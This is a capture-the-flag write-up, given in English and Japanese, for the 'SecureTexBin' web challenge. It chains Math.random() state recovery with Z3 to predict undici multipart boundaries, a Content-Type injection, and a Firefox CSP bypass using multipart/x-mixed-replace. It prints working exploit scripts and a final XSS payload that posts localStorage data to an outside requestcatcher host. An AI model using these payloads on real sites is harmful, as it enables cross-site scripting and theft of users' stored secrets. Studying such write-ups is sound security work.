[web] SecureTexBin [Claude English Translation]
A website for saving text is provided. It has a frontend, backend, and database structure, with a Node.js frontend running against a PHP backend that is not exposed externally. There is also an adminbot, and the flag is stored in localStorage. The final objective is to perform XSS.
Suspicious Area Where Arbitrary Content-Type Can Be Set
The distinctive feature of this problem is that the upload process includes Content-Type handling.
On the frontend Node.js side:
async function uploadFile(fileName, fileBuffer, fileId, BACKEND) { const fd = new FormData(); const blob = new Blob([fileBuffer], { type: 'text/plain' }); fd.append('file', blob, fileName); fd.append('id', fileId); return await fetch(BACKEND, { method: 'POST', body: fd }); }
The backend PHP side reads it like:
$id = $_POST['id']; $file = $_POST['file'] ?? null; $contentType = $_POST['content_type'] ?? 'text/plain'; $fileName = uniqid(); [...redacted...] $stmt = $pdo->prepare("INSERT INTO files (id, filename, content_type, file_data, created_at) VALUES (?, ?, ?, ?, NOW())"); $stmt->execute([$id, $fileName, $contentType, $file]);
The frontend implementation for GET /file/:id that the adminbot accesses is shown below, and while the backend implementation is omitted, the Content-Type set during upload is used directly in the response:
app.get('/file/:id', async (req, res) => { try { let id = req.params.id; if (!id || isNaN(Number(id))) return res.status(400).send("Invalid file ID"); let response = await fetch(`${BACKEND}/file.php?id=${parseInt(id)}`) let data = await response.text(); res.header('content-type', response.headers.get('content-type') || 'text/plain'); return res.send(data); } catch (e) { console.log(e); res.status(500).send("Error"); } });
Looking at the implementation, it appears that Content-Type cannot be specified externally—text/plain is used uniformly, so XSS would not occur. However, the difficult point in this challenge is somehow setting the Content-Type from outside. I almost gave up on my approach several times, but since a special Content-Type was needed for the CSP Bypass described below, I persevered with the investigation and succeeded.
Random Number Prediction and Boundary Injection for Content-Type Injection
const fd = new FormData(); fd.append('file', new Blob(["filebody"], { type: 'text/plain' }), "sample.txt"); await fetch('https://[yours].requestcatcher.com/hoge', { method: 'POST', body: fd });
Summarizing the upload process on the frontend side, when you run the above in Chrome's console:
POST /hoge HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydw5ZFMVuHR7nWnVE [...redacted...] ------WebKitFormBoundarydw5ZFMVuHR7nWnVE Content-Disposition: form-data; name="file"; filename="sample.txt" Content-Type: text/plain filebody ------WebKitFormBoundarydw5ZFMVuHR7nWnVE--
It is sent as multipart/form-data. Now let's try injecting line breaks to send something like the following:
const fd = new FormData(); fd.append('file', new Blob(["filebody\r\n------WebKitFormBoundaryAAAAAAAAAAAAA\r\nContent-Disposition: form-data; name=\"content_type\"\r\n\r\ntext/html"], { type: 'text/plain' }), "sample.txt"); await fetch('https://[yours].requestcatcher.com/hoge', { method: 'POST', body: fd });
Then:
POST /hoge HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4oFc9zO8uNK6CFKS [...redacted...] ------WebKitFormBoundary4oFc9zO8uNK6CFKS Content-Disposition: form-data; name="file"; filename="sample.txt" Content-Type: text/plain filebody ------WebKitFormBoundaryAAAAAAAAAAAAA Content-Disposition: form-data; name="content_type" text/html ------WebKitFormBoundary4oFc9zO8uNK6CFKS--
This happens. In other words, by using line breaks, we can embed a boundary. However, the boundary contains a random string that is generated each time, and if it's not correct, it won't be recognized as a valid boundary, and in most cases, boundary injection won't work.
I searched the internet for information that might be useful and found a similar problem in KMA CTF 2025 II. In older Node.js fetch implementations, this boundary random part generation uses Math.random() and is predictable, which is a vulnerability. The Dockerfile uses FROM node:20.18.1-slim, and reading the source code of that version confirms that Math.random() is indeed used.
const boundary = `----formdata-undici-0${`${Math.floor(Math.random() * 1e11)}`.padStart(11, '0')}`
Note that a different prefix is used compared to Chrome. Also, to predict the random number, we need to collect samples of the random number. There is a place in the frontend implementation where Math.random() is used similarly:
app.post('/', upload.any(), async (req, res) => { let fileBuffer = null; let fileName = null; const fileId = Math.floor(Math.random() * 1e12); # ...redacted... try { let response = fileName ? await uploadFile(fileName, fileBuffer, fileId, BACKEND) : await uploadText(fileBuffer, fileId, BACKEND); const res_json = await response.json(); if (!res_json.success) throw new Error("file upload went wrong"); return res.redirect(303, `/file/${fileId}`); } catch (e) { console.log(e); res.status(500).send("Error"); } });
Math.random() is used in the ID generation when a file is uploaded, which is observable from outside, so we can collect samples. Now we have all the necessary conditions, so let's write a script to predict the random number and generate a valid boundary. The procedure is:
- Upload 10 times to collect fileIds. At this time, if we input something that would transition to uploadFile, Math.random() would be called during the fetch of FormData and the counter would advance, so we should transition to uploadText.
- Restore the state from the collected fileIds using Z3 (we borrowed the script)
- Predict the output of the random number 2 steps ahead and generate a boundary based on it. The output 1 step ahead is used for fileId, so the output 2 steps ahead is used for boundary generation.
The script for random number prediction and obtaining the random number 2 steps ahead is as follows. It was customized from the one in this article (originally from the HackerOne article that follows):
#!/usr/bin/python3 import z3 import struct import sys import base64 import json sequence = json.loads(base64.b64decode(sys.argv[1]).decode()) sequence = sequence[::-1] solver = z3.Solver() se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64) # To ultimately obtain the output 2 steps ahead, we advance one step without output se_s1 = se_state0 se_s0 = se_state1 se_state0 = se_s0 se_s1 ^= se_s1 << 23 se_s1 ^= z3.LShR(se_s1, 17) # Logical shift instead of Arthmetric shift se_s1 ^= se_s0 se_s1 ^= z3.LShR(se_s0, 26) se_state1 = se_s1 for i in range(len(sequence)): se_s1 = se_state0 se_s0 = se_state1 se_state0 = se_s0 se_s1 ^= se_s1 << 23 se_s1 ^= z3.LShR(se_s1, 17) # Logical shift instead of Arthmetric shift se_s1 ^= se_s0 se_s1 ^= z3.LShR(se_s0, 26) se_state1 = se_s1 solver.add( int(sequence[i]) == ((z3.ZeroExt(64, z3.LShR(se_state0, 12)) * 1e12) >> 52) ) if solver.check() == z3.sat: model = solver.model() states = {} for state in model.decls(): states[state.__str__()] = model[state] state0 = states["se_state0"].as_long() # Generate the predicted value for undici boundary (Math.floor(Math.random() * 1e11)) u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000 float_64 = struct.pack("<Q", u_long_long_64) next_sequence = struct.unpack("d", float_64)[0] next_sequence -= 1 print(int(next_sequence * 1e11))
Using this, write a boundary generation script like so:
import requests import subprocess import json from base64 import b64encode import re TARGET = "https://localhost:1337" def extract_file_id(response): """Extract file ID from redirect response""" if response.status_code in [302, 303]: location = response.headers.get('Location', '') match = re.search(r'/file/(\d+)', location) if match: return int(match.group(1)) return None def collect_random_values(n=10): """Collect Math.random() values by uploading files and extracting fileIds""" print(f"[*] Collecting {n} random values from fileId generation...") values = [] for i in range(n): # Simple upload to trigger Math.random() data = {'file': 'dummy'} headers = {'Content-Type': 'application/x-www-form-urlencoded'} resp = requests.post(f"{TARGET}/", data=data, headers=headers, allow_redirects=False) file_id = extract_file_id(resp) if file_id: values.append(file_id) print(f" [{i+1}/{n}] fileId: {file_id}") else: print(f" [{i+1}/{n}] Failed to extract fileId") return values def predict_boundary(sequence): base64_sequence = b64encode(json.dumps(sequence).encode()).decode() predict_boundary = subprocess.run( ["python3", "predict.py", base64_sequence], check=True, capture_output=True, text=True, ).stdout return predict_boundary if __name__ == "__main__": sequence = collect_random_values() next_boundary = predict_boundary(sequence) print(f'------formdata-undici-0{next_boundary.zfill(11)}')
Sometimes it fails for some reason, but running this will generate a boundary. Using this, if you upload a file like the following, you can inject text/html into the Content-Type and make it be interpreted as HTML:
<s>XSS</s> ------formdata-undici-060111778431 Content-Disposition: form-data; name="content_type" text/html
CSP Bypass
CSP is set, and the next step is to bypass it.
app.use((req, res, next) => { res.header("content-security-policy", "default-src 'none'"); next(); });
Here, the important point is that the adminbot uses Firefox to browse the site. From CSP Bypass, Firefox, and the ability to change Content-Type, this technique should work. Using this technique, you can completely bypass CSP and perform XSS. In the end, if you upload a file like the following and have the adminbot access it, you'll get the flag:
foo--WECANDOIT
Content-Type: text/html
Content-Security-Policy: script-src 'unsafe-inline'; connect-src https:
<script>fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: localStorage.getItem('flag') });</script>
--WECANDOIT--
------formdata-undici-060111778431
Content-Disposition: form-data; name="content_type"
multipart/x-mixed-replace; boundary=WECANDOIT
[web] SecureTexBin [日本語]
テキストを保存しておくサイトが与えられる。frontend, backend, dbの構成になっており、Node.jsで作られたfrontendによって、外部に面していないphpで書かれたbackendが動いている。adminbotもあり、フラグはlocalstorageに格納されている。XSSするのが最終目的。
任意のContent-Typeが付けられそうな怪しい所
今回の問題で特徴的なのが、アップロード処理にてContent-Typeに関する処理が含まれていることである。
フロントエンドのNode.js側では
async function uploadFile(fileName, fileBuffer, fileId, BACKEND) { const fd = new FormData(); const blob = new Blob([fileBuffer], { type: 'text/plain' }); fd.append('file', blob, fileName); fd.append('id', fileId); return await fetch(BACKEND, { method: 'POST', body: fd }); }
のように、バックエンドにfetchしていて、バックエンドのphp側では
$id = $_POST['id']; $file = $_POST['file'] ?? null; $contentType = $_POST['content_type'] ?? 'text/plain'; $fileName = uniqid(); [...redacted...] $stmt = $pdo->prepare("INSERT INTO files (id, filename, content_type, file_data, created_at) VALUES (?, ?, ?, ?, NOW())"); $stmt->execute([$id, $fileName, $contentType, $file]);
のように読み込んでいます。adminbotがアクセスするGET /file/:idのフロントエンドの実装は以下のようになっており、バックエンドの実装は省略しますが、アップロード時に設定したContent-Typeがそのまま応答で利用されるようになります。
app.get('/file/:id', async (req, res) => { try { let id = req.params.id; if (!id || isNaN(Number(id))) return res.status(400).send("Invalid file ID"); let response = await fetch(`${BACKEND}/file.php?id=${parseInt(id)}`) let data = await response.text(); res.header('content-type', response.headers.get('content-type') || 'text/plain'); return res.send(data); } catch (e) { console.log(e); res.status(500).send("Error"); } });
実装を見ると外部からContent-Typeを指定することはできず、一律text/plainが利用されるため、XSSは発生しないように見えるのですが、ここを何とかしてContent-Typeを外部から設定してやることが今回難しいポイントです。何回か方針をあきらめかけましたが、後述するCSP Bypassのために特殊なContent-Typeを使う必要があったため、根性調査したらできました。
乱数の推測とBoundary Injectionによる、Content-Typeの差し込み
const fd = new FormData(); fd.append('file', new Blob(["filebody"], { type: 'text/plain' }), "sample.txt"); await fetch('https://[yours].requestcatcher.com/hoge', { method: 'POST', body: fd });
フロントエンド側のアップロード処理は整理すると以上のような感じで、これを試しにChromeのコンソールで動かすと、
POST /hoge HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydw5ZFMVuHR7nWnVE [...redacted...] ------WebKitFormBoundarydw5ZFMVuHR7nWnVE Content-Disposition: form-data; name="file"; filename="sample.txt" Content-Type: text/plain filebody ------WebKitFormBoundarydw5ZFMVuHR7nWnVE--
のようにmultipart/form-dataで送られます。これに改行を入れ込んで以下のようなものを送ってみる。
const fd = new FormData(); fd.append('file', new Blob(["filebody\r\n------WebKitFormBoundaryAAAAAAAAAAAAA\r\nContent-Disposition: form-data; name=\"content_type\"\r\n\r\ntext/html"], { type: 'text/plain' }), "sample.txt"); await fetch('https://[yours].requestcatcher.com/hoge', { method: 'POST', body: fd });
すると、
POST /hoge HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4oFc9zO8uNK6CFKS [...redacted...] ------WebKitFormBoundary4oFc9zO8uNK6CFKS Content-Disposition: form-data; name="file"; filename="sample.txt" Content-Type: text/plain filebody ------WebKitFormBoundaryAAAAAAAAAAAAA Content-Disposition: form-data; name="content_type" text/html ------WebKitFormBoundary4oFc9zO8uNK6CFKS--
こうなります。つまり、改行を使えば、boundaryを埋め込むことができます。しかし、boundaryには毎回生成されるランダムな文字列が埋め込まれており、これが正しくないと正しいboundaryとして認識されず、多くの場合、boundary injectionとして成立させることはできません。
インターネットで使えそうな情報が無いか探し、KMA CTF 2025 IIにて、同じような状況の問題を見つけた。古いNode.jsのfetchの実装では、このboundaryの乱数部分の生成をMath.random()を使っていて推測可能なので危ないという脆弱性。DockerfileからFROM node:20.18.1-slimが使われていて、該当バージョンのソースコードを読みに行くと、実際にMath.random()が使われていることも確認できる。
const boundary = `----formdata-undici-0${`${Math.floor(Math.random() * 1e11)}`.padStart(11, '0')}`
Chromeとは違うprefixが使われているのも差し込み時に注意。また、乱数を推測するためには乱数のサンプルを集める必要があるが、フロントエンドの実装にて同様にMath.random()を使っている箇所が存在する。
app.post('/', upload.any(), async (req, res) => { let fileBuffer = null; let fileName = null; const fileId = Math.floor(Math.random() * 1e12); # ...redacted... try { let response = fileName ? await uploadFile(fileName, fileBuffer, fileId, BACKEND) : await uploadText(fileBuffer, fileId, BACKEND); const res_json = await response.json(); if (!res_json.success) throw new Error("file upload went wrong"); return res.redirect(303, `/file/${fileId}`); } catch (e) { console.log(e); res.status(500).send("Error"); } });
ファイルをアップロードしたときのIDの生成にMath.random()が使われていて、これは外部から観測可能なのでサンプルを集めることができる。これで、必要な状況は揃ったので、乱数の推測と有効なBoundaryを生成するスクリプトを書く。手順は
- 10回アップロードしてfileIdを集める。このとき、uploadFileに遷移するような入力をしてしまうと、FormDataのfetchをするときにMath.random()が呼ばれてしまってカウンターが進むので、uploadTextに遷移するようにして集める
- 集めたfileIdからZ3で状態復元する(スクリプトを借りてきました)
- 2つ次のMath.random()の出力を推測して、それを元にBoundaryを生成する。1つ次の出力はfileIdで使われるので、Boundaryの生成に使われるのは2つ次の出力
乱数の推測と2つ次の乱数を得るスクリプトは以下の通り。この記事にあるもの(元々はその先のHackerOneの記事にあるもの)をカスタムして作成。
#!/usr/bin/python3 import z3 import struct import sys import base64 import json sequence = json.loads(base64.b64decode(sys.argv[1]).decode()) sequence = sequence[::-1] solver = z3.Solver() se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64) # 2つ次の出力を最終的に得るために1ステップ空振りで進めておく se_s1 = se_state0 se_s0 = se_state1 se_state0 = se_s0 se_s1 ^= se_s1 << 23 se_s1 ^= z3.LShR(se_s1, 17) # Logical shift instead of Arthmetric shift se_s1 ^= se_s0 se_s1 ^= z3.LShR(se_s0, 26) se_state1 = se_s1 for i in range(len(sequence)): se_s1 = se_state0 se_s0 = se_state1 se_state0 = se_s0 se_s1 ^= se_s1 << 23 se_s1 ^= z3.LShR(se_s1, 17) # Logical shift instead of Arthmetric shift se_s1 ^= se_s0 se_s1 ^= z3.LShR(se_s0, 26) se_state1 = se_s1 solver.add( int(sequence[i]) == ((z3.ZeroExt(64, z3.LShR(se_state0, 12)) * 1e12) >> 52) ) if solver.check() == z3.sat: model = solver.model() states = {} for state in model.decls(): states[state.__str__()] = model[state] state0 = states["se_state0"].as_long() # Generate the predicted value for undici boundary (Math.floor(Math.random() * 1e11)) u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000 float_64 = struct.pack("<Q", u_long_long_64) next_sequence = struct.unpack("d", float_64)[0] next_sequence -= 1 print(int(next_sequence * 1e11))
これを使う形で、以下のようにBoundary生成スクリプトを書く。
import requests import subprocess import json from base64 import b64encode import re TARGET = "https://localhost:1337" def extract_file_id(response): """Extract file ID from redirect response""" if response.status_code in [302, 303]: location = response.headers.get('Location', '') match = re.search(r'/file/(\d+)', location) if match: return int(match.group(1)) return None def collect_random_values(n=10): """Collect Math.random() values by uploading files and extracting fileIds""" print(f"[*] Collecting {n} random values from fileId generation...") values = [] for i in range(n): # Simple upload to trigger Math.random() data = {'file': 'dummy'} headers = {'Content-Type': 'application/x-www-form-urlencoded'} resp = requests.post(f"{TARGET}/", data=data, headers=headers, allow_redirects=False) file_id = extract_file_id(resp) if file_id: values.append(file_id) print(f" [{i+1}/{n}] fileId: {file_id}") else: print(f" [{i+1}/{n}] Failed to extract fileId") return values def predict_boundary(sequence): base64_sequence = b64encode(json.dumps(sequence).encode()).decode() predict_boundary = subprocess.run( ["python3", "predict.py", base64_sequence], check=True, capture_output=True, text=True, ).stdout return predict_boundary if __name__ == "__main__": sequence = collect_random_values() next_boundary = predict_boundary(sequence) print(f'------formdata-undici-0{next_boundary.zfill(11)}')
たまに何故か失敗するが、これを動かせばBoundaryが生成できる。これを使って以下のようなファイルをアップロードすれば、Content-Typeにtext/htmlを差し込むことができ、HTMLとして解釈させることができるようになる。
<s>XSS</s> ------formdata-undici-060111778431 Content-Disposition: form-data; name="content_type" text/html
CSP Bypass
CSPが設定されているので、これを回避するのが次のステップ。
app.use((req, res, next) => { res.header("content-security-policy", "default-src 'none'"); next(); });
ここで、adminbotはFireFoxを使ってサイトを閲覧しているというのが重要なポイント。CSP Bypass、FireFox、Content-Typeが変更可能ということから、このテクが使えそう。このテクを使えばCSPを完全に回避して、XSS可能。最終的には以下のようなファイルをアップロードして、adminbotにアクセスさせるとフラグが得られる。
foo--WECANDOIT
Content-Type: text/html
Content-Security-Policy: script-src 'unsafe-inline'; connect-src https:
<script>fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: localStorage.getItem('flag') });</script>
--WECANDOIT--
------formdata-undici-060111778431
Content-Disposition: form-data; name="content_type"
multipart/x-mixed-replace; boundary=WECANDOIT